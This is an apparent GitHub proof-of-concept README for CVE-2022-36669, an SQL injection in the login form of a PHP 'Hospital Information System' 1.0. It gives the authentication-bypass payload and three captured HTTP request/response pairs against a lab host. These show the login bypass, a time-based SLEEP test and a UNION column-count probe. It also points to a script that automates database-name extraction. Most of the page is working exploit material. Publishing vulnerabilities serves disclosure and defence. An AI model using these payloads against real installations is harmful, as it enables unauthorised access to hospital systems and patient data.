

main ▾

...

[POC-DUMP](#) / [Hospital Information System](#) / [README.md](#)

saitamang Update README.md

[History](#)

1 contributor



34 lines (21 sloc) | 1.4 KB

...

# CVE-2022-36669

```
# Exploit Title: Hospital Information System - SQL Injection via login page
# Date: 25/07/2022
# Exploit Author: saitamang
# Vendor Homepage: https://code-projects.org
# Software Link: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
```

Other reference --> <https://packetstormsecurity.com/files/167803/Hospital-Information-System-1.0-SQL-Injection.html>

From the login page, at the email form, the attacker may fill anything inside. On the password form, the attacker may used below payload and click login to successfully login as Admin functionality.

Payload --> 'or 1=1#

## Login bypass using normal SQLI payload

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST	/HIS/includes/users/UsersController.php	HTTP/1.1	1	HTTP/1.1	200	OK
2	Host:	192.168.149.130		2	Date:	Sun, 24 Jul 2022 16:50:31 GMT	
3	Content-Length:	46		3	Server:	Apache/2.4.46 (Debian)	
4	Accept:	*//*		4	Expires:	Thu, 19 Nov 1981 08:52:00 GMT	
5	X-Requested-With:	XMLHttpRequest		5	Cache-Control:	no-store, no-cache, must-revalidate	
6	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36		6	Pragma:	no-cache	
7	Content-Type:	application/x-www-form-urlencoded; charset=UTF-8		7	Content-Length:	7	
8	Origin:	http://192.168.149.130		8	Connection:	close	
9	Referer:	http://192.168.149.130/HIS/src/index/index.php		9	Content-Type:	text/html; charset=UTF-8	
10	Accept-Encoding:	gzip, deflate		10			
11	Accept-Language:	en-US,en;q=0.9		11	success		
12	Cookie:	PHPSESSID=9trnq0afmf64lo5l5fc2gv2qip					
13	Connection:	close					
14							
15	type=login&email=pentest&password='or+1%3D1%23						

## Login bypass with Sleep validation

Pretty	Raw	Hex		Pretty	Raw	Hex	Render	
1	POST	/HIS/includes/users/UsersController.php	HTTP/1.1	1	HTTP/1.1	200	OK	
2	Host:	192.168.149.130		2	Date:	Sun, 24 Jul 2022 16:51:59 GMT		
3	Content-Length:	50		3	Server:	Apache/2.4.46 (Debian)		
4	Accept:	*//*		4	Set-Cookie:	PHPSESSID=dek5265fcqfakvja725q6ns5; path=		
5	X-Requested-With:	XMLHttpRequest		5	Expires:	Thu, 19 Nov 1981 08:52:00 GMT		
6	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36		6	Cache-Control:	no-store, no-cache, must-revalidate		
7	Content-Type:	application/x-www-form-urlencoded; charset=UTF-8		7	Pragma:	no-cache		
8	Origin:	http://192.168.149.130		8	Content-Length:	7		
9	Referer:	http://192.168.149.130/HIS/src/index/index.php		9	Connection:	close		
10	Accept-Encoding:	gzip, deflate		10	Content-Type:	text/html; charset=UTF-8		
11	Accept-Language:	en-US,en;q=0.9		11				
12	Connection:	close		12	success			
13								
14	type=login&email=test&password='or 1=1;SELECT SLEEP(9)'							

0 matches

0 matches

341 bytes | 5,005 milli

## Checking length of column

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST	/HIS/includes/users/UsersController.php	HTTP/1.1	1	HTTP/1.1	200	OK
2	Host:	192.168.149.130		2	Date:	Sun, 24 Jul 2022 17:14:11 GMT	
3	Content-Length:	70		3	Server:	Apache/2.4.46 (Debian)	
4	Accept:	*//*		4	Set-Cookie:	PHPSESSID=lafifeBuevotg7r20r9Lfraheb; path=	
5	X-Requested-With:	XMLHttpRequest		5	Expires:	Thu, 19 Nov 1981 08:52:00 GMT	
6	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36		6	Cache-Control:	no-store, no-cache, must-revalidate	
7	Content-Type:	application/x-www-form-urlencoded; charset=UTF-8		7	Pragma:	no-cache	
8	Origin:	http://192.168.149.130		8	Content-Length:	7	
9	Referer:	http://192.168.149.130/HIS/src/index/index.php		9	Connection:	close	
10	Accept-Encoding:	gzip, deflate		10	Content-Type:	text/html; charset=UTF-8	
11	Accept-Language:	en-US,en;q=0.9		11			
12	Connection:	close		12	success		
13							
14	type=login&email=test&password=123'UNION+ALL+SELECT+null,null,null --						

##You may download script automation to get the database name for your reference to learn!

Download [here](#)